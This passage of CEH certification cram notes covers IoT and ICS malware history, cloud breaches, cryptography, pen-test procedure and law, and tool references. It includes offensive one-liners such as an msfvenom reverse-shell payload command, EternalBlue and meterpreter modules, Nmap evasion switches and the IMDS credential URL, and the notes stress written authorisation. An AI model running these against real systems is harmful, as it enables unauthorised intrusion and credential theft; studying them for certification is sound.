  • Strategy: SYN scan on TCP/23 + TCP/2323 -> Telnet brute with 62-entry default-cred dictionary -> cross-compile bot binary (ARM, MIPS, PowerPC, SPARC, SH4, m68k, x86) -> C&C.
  • Major impact: Krebs (~620 Gbps), OVH (~1 Tbps), Dyn DNS (Twitter/GitHub/Reddit offline, Oct 2016), Deutsche Telekom (~1M routers disrupted, Nov 2016).

L0 sensors/actuators -> L1 PLCs/RTUs -> L2 HMI/SCADA -> L3 IT/OT DMZ -> L4 enterprise -> L5 internet/cloud. The L3 DMZ is the most defended boundary.

OT protocols (insecure by design): Modbus (1979, no auth), DNP3 (SCADA, secure auth v2 add-on), IEC-60870-5-104 (European grid), OPC-UA (modern but misconfigurable), Profinet/EtherNet/IP, Siemens S7Comm.

The 7 ICS-Specific Malwares (must recognise all)

Section titled “The 7 ICS-Specific Malwares (must recognise all)”
YearMalwareTargetImpact
2010StuxnetSiemens S7-300/400 at Natanz~1,000 centrifuges destroyed; 4 zero-days
2014HavexEuropean/NA energy, SCADA vendorsRAT in legit ICS software; OPC enum
2015BlackEnergy2Ukrainian powerSpear-phish -> VPN abuse -> HMI control; 3 oblenergos blacked out 6h
2016IndustroyerUkrainian grid (Kyiv)First malware for grid protocols (IEC 101/104, 61850, OPC)
2017TRITON/TRISISTriconex SIS (Schneider), Saudi petrochemicalTargeted Safety Instrumented System
2022Industroyer2Ukrainian energy (high-voltage)Sandworm; IEC-104 wiper; foiled pre-impact
2022PIPEDREAM/INCONTROLLERSchneider Modicon, Omron Sysmac, CODESYS, OPC-UADragos CHERNOVITE; first caught before deployment
ModelYou manageProvider manages
IaaS (EC2)OS, runtime, app, data, IAMHardware, hypervisor, network
PaaS (RDS, Beanstalk)App, data, IAMOS, runtime, middleware
SaaS (Gmail)Data, users, accessAlmost everything

Provider secures of the cloud. Customer secures in the cloud. You always own your data, even in SaaS.

  1. Misconfigured S3 / Blob - Tesla, Capital One, Accenture, Verizon, US voter records, Twitch.
  2. SSRF -> IMDSv1 - http://169.254.169.254/... returns STS creds unauth (Capital One 2019).
  3. IAM privilege escalation - iam:PassRole, sts:AssumeRole abuse.
  4. Cloud malware injection - attacker uploads malicious AMI/Container.
  5. Cryptojacking - miners in cloud account (Tesla 2018).
  6. Cloud-Network MitM via DNS rebinding / BGP hijack.
  7. Container escape - privileged container + kernel exploit.
  8. K8s RBAC misconfig - overly permissive ServiceAccount (Tesla 2018).
BreachVectorImpact
Capital One (2019)ModSecurity WAF bypassed -> SSRF to IMDSv1 -> STS creds for over-privileged role -> 700+ S3 buckets~30 GB / 106M records; AWS shipped IMDSv2 in response
Tesla (2018)Unauthenticated K8s admin console + AWS creds in env varsStratum Monero miner hidden behind Cloudflare
Codecov (2021)Attacker extracted GCS key from Docker image intermediate layer; modified Bash Uploader exfiltrated every customer’s CI env vars>29,000 enterprise customers affected
ToolBest for
ProwlerAWS-first CIS benchmark, 600+ checks, 44 compliance frameworks
ScoutSuiteMulti-cloud audit (last release May 2024 - consider abandoned)
PacuAWS exploitation framework (post-foothold)
kube-hunter / kube-benchKubernetes CIS benchmark
TrivyContainer image / K8s / IaC / secrets / SBOM scanner
CloudTrail / GuardDutyAWS-native audit + threat detection
AlgorithmTypeKey / OutputStatus
DESSym block56-bitDo not use (broken <1999)
3DES (TDEA)Sym block112/168-bitDeprecated (Sweet32)
AES-128Sym block (SPN)128-bit key, 10 roundsRecommended floor
AES-256Sym block256-bit key, 14 roundsRecommended top-secret, FDE
BlowfishSym block32-448-bit key, 64-bit blockAvoid new design (64-bit block weak)
TwofishSym block128-256-bitAcceptable (AES finalist)
RC4Sym stream40-2048-bitForbidden in TLS
RSAAsymModulus >= 2048-bit (NIST min for 112-bit)Recommended >= 2048; plan post-quantum
Diffie-Hellman (DH)Key agreementGroup >= 2048-bitUse DH-2048+ or ECDH
ECC (ECDH, ECDSA)AsymP-256=128-bit, P-384=192, P-521~256Recommended (mobile, IoT, TLS)
MD5Hash128-bitDo not use (collision trivial)
SHA-1Hash160-bitDo not use for signatures (SHAttered 2017)
SHA-256Hash (SHA-2)256-bitRecommended (TLS, code signing, Bitcoin)
SHA-384 / 512Hash (SHA-2)384 / 512-bitRecommended high-assurance
SHA-3 (Keccak)Hash (sponge)224/256/384/512Recommended alternative
HMACMACvariesRecommended API signing

NIST SP 800-131A Rev. 2 targets: 112 bits until 2030, then 128. AES-128 / SHA-256 / RSA-3072 / ECDSA P-256 all hit the 128-bit target.

NIST finalised PQC standards in 2024 - ML-KEM (Kyber) FIPS 203, ML-DSA (Dilithium) FIPS 204, SLH-DSA (SPHINCS+) FIPS 205. “Harvest now, decrypt later” makes PQC migration urgent for long-lived data.

AttackDefeated by
Brute force>= 128-bit key
Birthday (hash collision)>= 256-bit hash
Man-in-the-middleAuthenticated key exchange, cert pinning, HSTS
Known-plaintextAES is not practically vulnerable
Chosen-ciphertextAEAD (AES-GCM, ChaCha20-Poly1305)
Side-channel (power/timing/cache/EM)Constant-time code, masking
DowngradeTLS 1.3; TLS_FALLBACK_SCSV
Padding oracle (POODLE)AEAD; constant-time decryption
ReplayNonces, timestamps, session IDs

Named Protocol Attacks (one-sentence recall)

Section titled “Named Protocol Attacks (one-sentence recall)”
  • POODLE (CVE-2014-3566) - SSLv3 CBC padding not authenticated; byte-by-byte cookie decryption.
  • BEAST (2011) - chosen-plaintext on TLS 1.0 CBC.
  • Lucky13 (2013) - timing side-channel on CBC padding validation.
  • Heartbleed (CVE-2014-0160) - OpenSSL buffer over-read; leaked server private keys.
  • Logjam (2015) - 512-bit export-grade DH allows MitM.
  • ROBOT (2017) - RSA PKCS#1 v1.5 padding oracle in TLS.
  • X.509 cert format.
  • CA signs certs; trust flows from root.
  • CRL = Certificate Revocation List (replaced by OCSP).
  • OCSP = real-time cert status. OCSP stapling improves performance.
  • Self-signed = not trusted by default.
  • Chain of trust = Root CA -> Intermediate CA -> Leaf.
  • Email: PGP / OpenPGP (web of trust, hybrid) and S/MIME (X.509-based, corporate).
  • Disk / FDE: BitLocker (Windows, AES-128/256 XTS, TPM-bound), FileVault 2 (macOS, AES-XTS), LUKS (Linux, dm-crypt + AES).
  • FDE only protects data at rest when device is powered off - running machines have keys in memory.
MisreadCorrect
“3DES is stronger than AES”No - 3DES is deprecated (Sweet32); AES is the floor
“MD5 is fine for internal integrity checks”No - collisions are trivial; use SHA-256
“RSA-1024 is enough”No - NIST min is 2048 for 112-bit; 3072 for 128-bit
“WEP is fine for a small office”Never - WEP is broken in 60 seconds
“Modbus has authentication”No - Modbus (1979) is insecure by design
“Stuxnet was a virus”Stuxnet is a worm + virus + rootkit - name all three
“S3 buckets are encrypted by default”No - encryption is opt-in; the breach pattern is public buckets
“TLS 1.0 is fine for legacy”No - POODLE + BEAST; minimum is TLS 1.2, prefer 1.3

Mnemonic: “Sym = same key, fast; Asym = keypair, slow; Hash = one-way”. “MD5/SHA-1 broken, SHA-2 current, SHA-3 emerging, PQC migration now”.

Section titled “Mnemonic: “Sym = same key, fast; Asym = keypair, slow; Hash = one-way”. “MD5/SHA-1 broken, SHA-2 current, SHA-3 emerging, PQC migration now”.”

Section titled “Domain 4: Communication, Reporting, Procedures & Legal (~20%)”

The “what surrounds the technical work” domain. Engagements, reporting, legal posture, compliance.

TypeKnowledgeRealism vs costUse
Black-boxPublic onlyHighest realism, lowest efficiencyExternal adversary simulation
White-boxSource, diagrams, credsLowest realism, highest coverageCode review, internal audit, SDLC
Gray-boxPartial (e.g., low-priv account)BalancedMost commercial engagements

A gray-box engagement with one user credential is the de-facto industry default.

4.2 Pen-Test Lifecycle (PTES / NIST SP 800-115 / OWASP WSTG converge)

Section titled “4.2 Pen-Test Lifecycle (PTES / NIST SP 800-115 / OWASP WSTG converge)”
#PhaseOutput
1Planning & ScopingSigned ROE, MSA, Permission to Test
2Information GatheringTarget inventory, attack-surface map
3Threat ModelingSTRIDE / DREAD / PASTA / Attack Trees
4Vulnerability ScanningVuln list, CVSS v4.0 ratings
5ExploitationPoC evidence, exploited-vuln list
6Post-ExploitationAttack-path narrative, blast-radius
7Reporting & RetestFinal report + retest sign-off

“Get out of jail free” is not a metaphor. The Permission to Test is the single most important artifact. If the engagement is verbal, the engagement is a crime.

4.3 Rules of Engagement (ROE) - OSSTMM 3 baseline

Section titled “4.3 Rules of Engagement (ROE) - OSSTMM 3 baseline”

The ROE must be written and signed before testing. It includes: scope, test window + man-hours, tester source IP / phone, emergency contacts, DoS / SE permissions, SOW change-control, data-handling rules, limited liability.

OSSTMM also forbids Distributed DoS testing over the Internet and any “flood testing” where a stronger source overwhelms a target.

ModelTypeBest for
STRIDEThreat category mnemonic (Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation of Privilege)Design-time classification
DREAD1-10 scoring (Damage, Reproducibility, Exploitability, Affected Users, Discoverability)Ranking already-identified threats
PASTA7-stage attacker-centric methodology tied to business riskHigh-value systems
Attack TreesAND/OR decomposition of attacker goalsVisual reasoning on complex chains

STRIDE finds threats, DREAD ranks them. Combine them. PASTA for high-value components.

4.5 Reporting Structure (industry baseline)

Section titled “4.5 Reporting Structure (industry baseline)”
  1. Cover page & version control - version, date, classification, distribution.
  2. Executive Summary - 1 page, business risk language, no jargon.
  3. Scope - tested, out-of-scope, window, methodology.
  4. Methodology - phases, tools (versions), standards followed.
  5. Findings - per finding: title, CVSS, asset, description, evidence, impact, remediation, references.
  6. Risk Rating - summary table.
  7. Remediation Roadmap - prioritised, time-bound, owner-assigned.
  8. Appendix - raw scanner output, evidence chain, glossary.
LevelCVSS v4.0 bandTypical SLA
Critical9.0-10.024-72 hours
High7.0-8.97-14 days
Medium4.0-6.930 days
Low0.1-3.990 days
Informationaln/aBest-effort
AudienceLanguage
CISO / BoardRisk in dollars, regulatory exposure, peer comparison
IT OperationsAffected host, patch command, validation script
DevelopersCode snippet, root cause, suggested fix with reference
Legal / ComplianceRegulatory mapping (PCI, GDPR, HIPAA), breach-notification trigger

Singapore (the most-tested jurisdiction in this repo)

Section titled “Singapore (the most-tested jurisdiction in this repo)”
LawKey pointPenalty
CMA / CMCA (1993)Sec 3(1) “without authority” access; Sec 12 covers attempts + preparatory actsUp to S$5,000 fine, 2 years imprisonment
PDPA (2012, am. 2020)Notifiable breach report to PDPC within 3 calendar daysUp to S$1M or 10% of SG turnover
Cybersecurity Act 2018 (am. 2025)CII operators, licences pen-test + managed SOCCSA licence required from 16 Mar 2026

Practical implication for CEHs in Singapore: obtain (a) written authorisation from the system owner, (b) separate consent if the system holds personal data, (c) confirmation of CSA licence status if licensable, (d) data-handling plan for any PDPA-relevant records. The kill-switch must be reachable 24/7.

  • CFAA - 18 U.S.C. §1030. Two operative phrases: “without authorization” and “exceeds authorized access.” After Van Buren v. United States (2021), “exceeds authorized access” applies only to areas the user is not entitled to enter - not to misusing information the user can otherwise see. The CFAA has no pen-test exemption; authorisation is the only defence.
  • DMCA §1201 - circumvention of TPMs; security research needs the triennial exemption or rights-holder consent.
  • ECPA - restricts interception of electronic communications.
  • UK CMA 1990 - Section 1 unauthorised access, Section 3 unauthorised acts with intent to impair. No statutory pen-test defence.
  • EU GDPR - Article 32 obliges “regular testing” of security measures; a DPIA (Article 35) is required where testing likely impacts personal data.
  • EC-Council Code of Ethics (CEH) - 25 articles. Key clauses: (12) “Ensure all penetration testing activities are authorized and within legal limits”; (13) “Not to take part in any black hat activity”; (16) “Not convicted of any felony, or violated any law of the land.” Violations can lead to decertification.
  • (ISC)² Code of Ethics - four canons (Protect, Act, Provide, Advance). CISSP holders bound.
  • ACM Code of Ethics - general computing.

4.7 Pen-Test vs Red Team vs Bug Bounty vs Vulnerability Assessment

Section titled “4.7 Pen-Test vs Red Team vs Bug Bounty vs Vulnerability Assessment”
PracticeGoalScopeTimeframeOutput
Vulnerability AssessmentFind as many flaws as possibleBroad, asset-listPeriodicPrioritised remediation list
Penetration TestFind and exploit vulns to prove impactDefined, ROE-bounded1-4 weeksReport with PoC + remediation
Red TeamEmulate a real adversary; test detection + responseBroad, objective-drivenWeeks to monthsAttack-path narrative + blue-team gaps
Bug BountyContinuous crowdsourced discoveryPublic assets, in-programContinuousTriage queue + paid reports

These are not interchangeable. Match the engagement type to the question you actually want answered.

4.8 Compliance Frameworks (pen-test obligations)

Section titled “4.8 Compliance Frameworks (pen-test obligations)”
FrameworkScopePen-test obligation
PCI DSS v4.0.1Card dataReq 11.4: external + internal annually + after significant change; segmentation annually (merchants) or 6-monthly (service providers)
ISO 27001:2022ISMSAnnex A 8.8 technical compliance testing
NIST CSF 2.0All industriesDE.CM-9 “Tests are performed”
SOC 2 (TSC)US service orgsCC7.1 vulnerability management
HIPAA Security RuleUS healthcare45 CFR §164.308(a)(8) periodic technical testing
GDPREU personal dataArt. 32 “regular testing of effectiveness of measures”
CSA CCM v4CloudIVS-09 Penetration Testing
FedRAMPUS federal cloudContinuous monitoring + annual 3PAO assessment

PCI DSS 11.4 is the most prescriptive. A quarterly ASV scan does NOT satisfy Req 11.4. Retest after fix is mandatory.

MisreadCorrect
“Pen-test without authorisation is legal if the report is good”No - it is a crime (CMA / CFAA / CMA-UK)
“CVSS Base = risk”No - Base is severity; risk needs environmental + threat context
“PCI quarterly ASV scan = PCI Req 11.4”No - ASV is separate; Req 11.4 needs full pen-test
“PCI Req 11.4 = once a year”Internal + external annually, plus segmentation 6-monthly for service providers
“Van Buren v. US made pen-testing legal”No - it narrowed “exceeds authorised access” to areas the user is not entitled to enter; authorisation is still required
“PDPA breach notify = 72 hours”Notify PDPC within 3 calendar days of assessment that breach is notifiable; data subjects also notified if significant harm
“EC-Council Code of Ethics = (ISC)² Code”No - EC-Council has 25 articles; (ISC)² has 4 canons
“DREAD is for design”No - STRIDE is for design; DREAD ranks already-identified threats

Mnemonic: “PTES: Pre-Intel-Threat-Vuln-Exploit-Post-Report” for the 7-phase pen-test lifecycle. “STRIDE finds, DREAD ranks, PASTA proves” for threat models.

Section titled “Mnemonic: “PTES: Pre-Intel-Threat-Vuln-Exploit-Post-Report” for the 7-phase pen-test lifecycle. “STRIDE finds, DREAD ranks, PASTA proves” for threat models.”

GoalSwitch
Fast stealthy TCP sweep-sS -T4
Full port range, aggressive-sS -p- -T4 -A
UDP top ports-sU -top-ports 100
Service versions-sV
OS fingerprint-O
Skip discovery (firewall present)-Pn
Decoy scan-D RND:10
Source port spoof (DNS)-g 53
Fragmented-f
Idle scan (blind)-sI zombie:80
NSE vuln scripts-script smb-vuln* or -script=vuln
Save output-oN file.nmap (normal), -oX file.xml (XML)

Metasploit modules you will see in questions

Section titled “Metasploit modules you will see in questions”
GoalModule / command
Search exploitssearchsploit <keyword> or msfconsole -> search <keyword>
SMB vuln scanuse auxiliary/scanner/smb/smb_version
EternalBlueexploit/windows/smb/ms17_010_eternalblue
Reverse shell payloadpayload/windows/x64/meterpreter/reverse_tcp
Bind shell payloadpayload/windows/x64/meterpreter/bind_tcp
Generate standalone payloadmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f exe > payload.exe
Post-exploit (hashdump)meterpreter -> hashdump
Post-exploit (priv esc)meterpreter -> getsystem
Pivotmeterpreter -> run autoroute -s 10.0.0.0/24
ActionShortcut / menu
Intercept on/offProxy -> Intercept is on (toggle)
Send to RepeaterRight-click request -> Send to Repeater
Send to IntruderRight-click -> Send to Intruder
Sequencer (session randomness)Right-click cookie -> Send to Sequencer
Collaborator (OAST)Burp menu -> Burp Collaborator client
Match & replaceProxy -> Options -> Match and Replace
Scope filteringTarget -> Scope (add host)
ToolUse
sqlmapAutomated SQLi (all 5 classes, tamper scripts for WAF bypass)
OWASP ZAPFree man-in-the-middle proxy + DAST
Burp Suite ProDAST standard, business-logic testing
NiktoBaseline web server scan
wfuzz / ffufParameter fuzzing
XSStrikeXSS detection
testssl.shTLS configuration audit
SSRFmapSSRF detection
WPScanWordPress enumeration
ToolUse
MimikatzLSASS dump, pass-the-hash, DCSync, Kerberos ticket extraction
BloodHound CEGraph-based AD attack-path mapping
PowerView / SharpHoundAD situational awareness
ResponderLLMNR/NBT-NS/MDNS poisoner + rogue auth server
Impacketpsexec.py, wmiexec.py, smbexec.py, secretsdump.py
RubeusKerberos abuse (Kerberoasting, AS-REP, S4U)
NetExec (nxc)SMB/WMI spray + lateral movement
ToolUse
ProwlerAWS CIS benchmark scanner
ScoutSuiteMulti-cloud posture audit (legacy)
PacuAWS exploitation framework
TrivyContainer image / K8s / IaC / SBOM scanner
kube-bench / kube-hunterKubernetes CIS / pentest
MobSFMobile (Android/iOS/Windows) static + dynamic analysis
Frida + objectionRuntime instrumentation, mobile hooking
APKTool / jadxAndroid reverse engineering
ToolUse
Aircrack-ng suiteairodump, aireplay, aircrack - WEP/WPA cracking
WifiteAutomated wireless auditing
KismetWireless IDS / detection
Wifiphisher / FluxionEvil twin + captive portal phishing
Reaver / BullyWPS PIN brute
hostapd-wpeWPA-Enterprise credential capture
ToolUse
WiresharkGUI packet capture + protocol decode
tcpdumpCLI sniffer (server / Linux)
BetterCAPModern L2/L7 MitM with HSTS bypass
EttercapClassic MitM framework
YersiniaL2 attacks (DHCP, STP, CDP)
VolatilityMemory forensics
AutopsyDisk forensics
Ghidra / IDA Pro / radare2RE / binary analysis
YARAPattern-match malware classification
Cuckoo / ANY.RUNMalware sandbox

AcronymMeaning
ACEAccess Control Entry (Windows ACL)
ACLAccess Control List
ADActive Directory
ADSAlternate Data Stream (NTFS)
AIEAccount Integrity Evaluation
APAccess Point (wireless)
APTAdvanced Persistent Threat
AROAnnualised Rate of Occurrence
ASLRAddress Space Layout Randomisation
ASVApproved Scanning Vendor (PCI)
ATT&CKAdversarial Tactics, Techniques, and Common Knowledge (MITRE)
BCPBusiness Continuity Plan
BIABusiness Impact Analysis
BYODBring Your Own Device
CACertificate Authority
CAPTCHACompletely Automated Public Turing test to tell Computers and Humans Apart
CCECommon Configuration Enumeration
CCTVClosed-Circuit Television
CERTComputer Emergency Response Team
CIRT / CSIRTComputer (Security) Incident Response Team
CISACybersecurity and Infrastructure Security Agency (US)
CISCenter for Internet Security (benchmarks)
CMDBConfiguration Management Database
CMMCCybersecurity Maturity Model Certification (US DoD)
COPECorporate-Owned, Personally Enabled
CPDoSCache Poisoned Denial of Service
CPTCurrent Procedural Terminology - n/a here; in CEH usually “Credential Phishing Tactic”
CPUCentral Processing Unit
CRLCertificate Revocation List
CSRF / XSRFCross-Site Request Forgery
CSPContent-Security-Policy (HTTP header)
CSRF tokenPer-request token for state-changing requests
CTCertificate Transparency
CTFCapture The Flag
CVECommon Vulnerabilities and Exposures
CVSSCommon Vulnerability Scoring System
CWECommon Weakness Enumeration
DACDiscretionary Access Control
DASTDynamic Application Security Testing
DDoSDistributed Denial of Service
DEPData Execution Prevention
DFDData Flow Diagram
DHCPDynamic Host Configuration Protocol
DKIMDomainKeys Identified Mail
DLLDynamic-Link Library
DLPData Loss Prevention
DMARCDomain-based Message Authentication, Reporting & Conformance
DMZDemilitarised Zone
DNSDomain Name System
DoH / DoTDNS over HTTPS / DNS over TLS
DOMDocument Object Model
DoSDenial of Service
DPIDeep Packet Inspection
DREADDamage, Reproducibility, Exploitability, Affected users, Discoverability
DSADigital Signature Algorithm
EAPExtensible Authentication Protocol
ECEEC-Council Continuing Education (credits)
ECCEC-Council (also Elliptic Curve Cryptography)
EDREndpoint Detection and Response
ERPEnterprise Resource Planning
ETLExtract, Transform, Load
EWFEncrypted File System (Windows legacy)
FDEFull Disk Encryption
FIMFile Integrity Monitoring
FISMAFederal Information Security Management Act
FUDFully Undetectable (malware)
GPOGroup Policy Object
GPSGlobal Positioning System
HIDS / HIPSHost Intrusion Detection / Prevention System
HIPSHost-based Intrusion Prevention System
HMIHuman-Machine Interface
HSTSHTTP Strict Transport Security
HTMLHyperText Markup Language
HTTPHyperText Transfer Protocol
HTTPSHTTP Secure
HVACHeating, Ventilation, Air Conditioning
IASTInteractive Application Security Testing
ICMPInternet Control Message Protocol
ICSIndustrial Control System
IDSIntrusion Detection System
IDORInsecure Direct Object Reference
IKEInternet Key Exchange
IMInstant Messaging
IMAPInternet Message Access Protocol
IMDSInstance Metadata Service (AWS)
IoC / IOCIndicator of Compromise
IoTInternet of Things
IPsecInternet Protocol Security
IRIncident Response
IRCInternet Relay Chat
ISOInternational Organization for Standardization
ISPInternet Service Provider
ISSInternet Security Systems
IVInitialization Vector
JWTJSON Web Token
KDCKey Distribution Center
KEKKey Encryption Key
L2TPLayer 2 Tunneling Protocol
LDAPLightweight Directory Access Protocol
LFILocal File Inclusion
LOTLLiving Off The Land (binaries)
MaaSMalware-as-a-Service
MAC (in crypto)Message Authentication Code
MAC (in access)Mandatory Access Control
MAC (in networking)Media Access Control address
MAMMobile Application Management
MBRMaster Boot Record
MDMMobile Device Management
MFAMulti-Factor Authentication
MIBManagement Information Base (SNMP)
MITMMan-in-the-Middle
MLMachine Learning
MMSMultimedia Messaging Service
MOCMicrosoft Operations Center
MOFManaged Object Format
MOUMemorandum of Understanding
MSSPManaged Security Service Provider
MTCMicrosoft Trust Center
MTDMobile Threat Defense
NACNetwork Access Control
NASNetwork Attached Storage
NDANon-Disclosure Agreement
NessusVulnerability scanner (Tenable)
NetFlowCisco network flow protocol
NFSNetwork File System
NGAVNext-Generation Antivirus
NGFWNext-Generation Firewall
NIDS / NIPSNetwork IDS / IPS
NISTNational Institute of Standards and Technology
NMAPNetwork Mapper (Nmap)
NMSNetwork Management System
NOPNo Operation (x86 0x90)
NTFSNew Technology File System
NTPNetwork Time Protocol
OAuthOpen Authorization
OCSPOnline Certificate Status Protocol
OSOperating System
OSINTOpen Source Intelligence
OSPFOpen Shortest Path First
OTOperational Technology
OWASPOpen Worldwide Application Security Project
PASTAProcess for Attack Simulation and Threat Analysis
PAM (access)Privileged Access Management
PAM (Linux)Pluggable Authentication Modules
PIIPersonally Identifiable Information
PIRPassive Infrared (motion sensor)
PIVPersonal Identity Verification
PLCProgrammable Logic Controller
PoCProof of Concept
POP3Post Office Protocol v3
PQCPost-Quantum Cryptography
PIIPersonally Identifiable Information (PII)
PTESPenetration Testing Execution Standard
RARegistration Authority (PKI)
RaaSRansomware-as-a-Service
RACEResearch and Development in Advanced Communications Technologies in Europe
RADIUSRemote Authentication Dial-In User Service
RAMRandom Access Memory
RATRemote Access Trojan
RASPRuntime Application Self-Protection
RBACRole-Based Access Control
RDPRemote Desktop Protocol
RESTRepresentational State Transfer
RFIRemote File Inclusion
RFPRequest for Proposal
RFIDRadio-Frequency Identification
RMFRisk Management Framework
ROERules of Engagement
RPORecovery Point Objective
RSARivest-Shamir-Adleman (algorithm)
RTORecovery Time Objective
SASTStatic Application Security Testing
SCADASupervisory Control and Data Acquisition
SCAPSecurity Content Automation Protocol
SCTService Communication Proxy (or Strict-Transport-Security in HTTP)
SDKSoftware Development Kit
SFTPSSH File Transfer Protocol
SIEMSecurity Information & Event Management
SIPSession Initiation Protocol
SLAService Level Agreement
SLESingle Loss Expectancy
SOARSecurity Orchestration, Automation & Response
SOWStatement of Work
SPFSender Policy Framework
SPOFSingle Point of Failure
SQLiSQL Injection
SRPSecure Remote Password
SSDPSimple Service Discovery Protocol
SSHSecure Shell
SSLSecure Sockets Layer (deprecated; use TLS)
SSOSingle Sign-On
SSRFServer-Side Request Forgery
STEMScience, Technology, Engineering, Mathematics
STIXStructured Threat Information eXpression
STRIDESpoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation of Privilege
TACACS+Terminal Access Controller Access-Control System Plus
TAXIITrusted Automated eXchange of Intelligence Information
TCPTransmission Control Protocol
TIThreat Intelligence
TKIPTemporal Key Integrity Protocol
TLSTransport Layer Security
TOR / TorThe Onion Router
TPMTrusted Platform Module
TTPTactics, Techniques, and Procedures
UDPUser Datagram Protocol
UEBAUser and Entity Behavior Analytics
UEFIUnified Extensible Firmware Interface
URLUniform Resource Locator
USBUniversal Serial Bus
UTMUnified Threat Management
VAVulnerability Assessment
VLANVirtual Local Area Network
VOIPVoice over Internet Protocol
VPNVirtual Private Network
VPSVirtual Private Server
WAFWeb Application Firewall
WAPWireless Access Point
WEPWired Equivalent Privacy
WPAWi-Fi Protected Access
WPA2WPA version 2
WPA3WPA version 3
WPSWi-Fi Protected Setup
XDRExtended Detection and Response
XSSCross-Site Scripting
XXEXML External Entity
YARAYet Another Recursive Acronym (pattern matching)
ZTZero Trust
ZTAZero Trust Architecture

PairDistinction
5-phase CEH vs 7-phase Kill ChainCEH = Recon/Scan/Gain/Maintain/Cover. Kill Chain = Recon/Weaponise/Deliver/Exploit/Install/C2/Actions
CVSS Base vs riskBase = severity. Risk = Base + environmental + threat context
WAF vs NGFWWAF = L7 HTTP/SQL. NGFW = L3-L7 with DPI/IPS
IDS vs IPSIDS = detect, passive. IPS = block, inline
NGAV vs EDR vs XDRNGAV < EDR < XDR (subset chain)
SIEM vs SOARSIEM = detect/alert. SOAR = act on SIEM alerts
DAC vs MAC vs RBACOwner / Label-clearance / Role
Symmetric vs AsymmetricSame key (fast) / Public + Private (slow)
Hashing vs Encryption vs EncodingOne-way / Two-way (with key) / Two-way (no key)
MD5 vs SHA-1 vs SHA-2Broken / Broken / Current
DES vs 3DES vs AESBroken / Deprecated / Current
WEP vs WPA vs WPA2 vs WPA3Broken / Outdated / Solid / Current
TLS vs SSLTLS is the modern protocol. SSL is deprecated. People say “SSL” out of habit.
Pen-test vs Red Team vs Bug BountyScope, exploit / Goal, evade / Continuous, crowd
Black-box vs White-box vs Gray-boxNone / Full / Partial knowledge
Hashing vs Digital SignatureIntegrity only / Integrity + non-repudiation + auth
CMA / CMCA vs CFAASG law / US federal law - same intent, different jurisdiction
PTES vs NIST 800-115 vs OWASP WSTGAll converge on Plan-Discover-Attack-Report with variations
Modbus vs DNP3 vs OPC-UA1979 no auth / SCADA + secure auth v2 / Modern, misconfigurable
ASLR vs DEPRandomise memory layout / Mark stack NX

Read this 30 minutes before you walk in.

  • 125 questions, 4 hours, ~29 seconds per question. You will have time to think.
  • No back-navigation in many forms. Click carefully.
  • Flag for review if available, but expect not to revisit.
  • Drink water at question 30, 60, 90, 110. Stand and stretch at any break prompt.
  • 5 answers per question is uncommon; CEH is usually 4 options.

Step 1: Read the last sentence first. The qualifier (BEST, FIRST, NEXT, MOST, NOT, EXCEPT) decides your answer. Re-read it before clicking.

Step 2: Identify the layer being tested. Network? Host? Application? Cloud? Crypto? Wireless? Legal? This narrows the answer space to the right tool / control.

Step 3: Map to the 5-phase methodology. “Attacker is doing X” - what phase is that? Tools must match the phase.

Step 4: Pick the specific answer. When 2+ options all look right, the best is the one that names the specific tool, command, port, CVE, or technique - not the generic category.

Quick-Trigger Cheat (auto-suspect -> answer)

Section titled “Quick-Trigger Cheat (auto-suspect -> answer)”
Question says…Think…
“First step in CEH methodology”Reconnaissance (passive first)
“Which Nmap flag for stealth”-sS (SYN, half-open)
“Default port for HTTPS”443
“Default port for SSH”22
“Default port for RDP”3389
“Default port for SMB”445
“Default port for LDAP”389 (636 LDAPS)
“Default port for SQL Server”1433
“Default port for MySQL”3306
“Default port for PostgreSQL”5432
“Default port for Kafka”9092
“Best defence against XSS”Output encoding + CSP + input validation (not one alone)
“Defense in depth”Multiple layers, no single point
“Zero Trust”Never trust, always verify; NIST 800-207
“WEP” anywhereWrong (broken)
“WPA3”Right if comparing wireless
“Implicit deny / default deny”Right for firewall / access defaults
“MFA / two factors”Better than single-factor always
“Audit log / monitoring”Detective control, not preventive
“Encryption at rest”Confidentiality for stored data
“Pen test without written authorisation”Wrong - illegal
“Salt + hash for passwords”Right (bcrypt / Argon2id)
“Disable unused services”Hardening; right answer for attack surface
“Default password”Wrong (change before deploy)
“Hash collision attack”Birthday
“OSI layer for ARP”L2
“TCP 3-way handshake”SYN -> SYN-ACK -> ACK
“Pen-test vs red team”Pen-test = scope, find vulns. Red team = goal-based, evade.
“Singapore PDPA breach notify”PDPC within 3 calendar days of assessment
“Singapore CII owner”Report to CSA within prescribed time
“Goal of a DoS”Availability (A in CIA)
“SQLi defence”Parameterised queries (not escaping)
“Strongest symmetric cipher (current)”AES-256
“Best reverse-shell payload”Meterpreter reverse_tcp
“WAF defends against”L7 web attacks (XSS, SQLi, CSRF)
“IDS vs IPS”IDS = detect only. IPS = block inline.
“AES vs DES”AES = 128/192/256 bit, current. DES = 56-bit, broken.
“TCP vs UDP”TCP = connection-oriented, reliable. UDP = connectionless, fast.
“Open port in Nmap output”22/tcp open ssh OpenSSH 9.6p1 -> 22 = SSH
  • Passport valid >= 6 months past exam date
  • Pearson VUE / ECC / RPS confirmation email saved
  • Re-read this cram notes file once (skim, do not re-memorise)
  • Re-read 99-cheatsheet.md once
  • Re-read 01-exam-logistics.md Exam Day section
  • Sleep 7+ hours
  • Eat a real breakfast 2 hours before
  • Bring water, snack for the car
  • No new content in the last 24 hours; trust what you know
  • Done 4-7-8 breathing in the car
  • 1.25-mile rule: if your mind is fried and you are reading the same sentence three times, stop. Click your best guess on the remaining questions, hit submit, and reschedule. A fail can be retaken in 14 days. A pushed-through blank-out rarely passes.
  • 60-second reset: close eyes, 4-count inhale, 7-count hold, 8-count exhale, three cycles.
  • Last-question rule: do not spend 10 minutes on Q124. Answer it in 30 seconds and move on. One question is statistically 0.8% of the score.

The exam tests whether you recognise the right tool, command, port, CVE, technique, and legal posture for the scenario. Read the last sentence first, map to the layer, map to the 5-phase methodology, name the specific answer. Sleep last night. Go pass it.


You have the facts. You have the tables. You have the decoder. The rest is showing up, reading carefully, and trusting your preparation.


Wikilinks to the rest of the knowledge base. Click any to jump.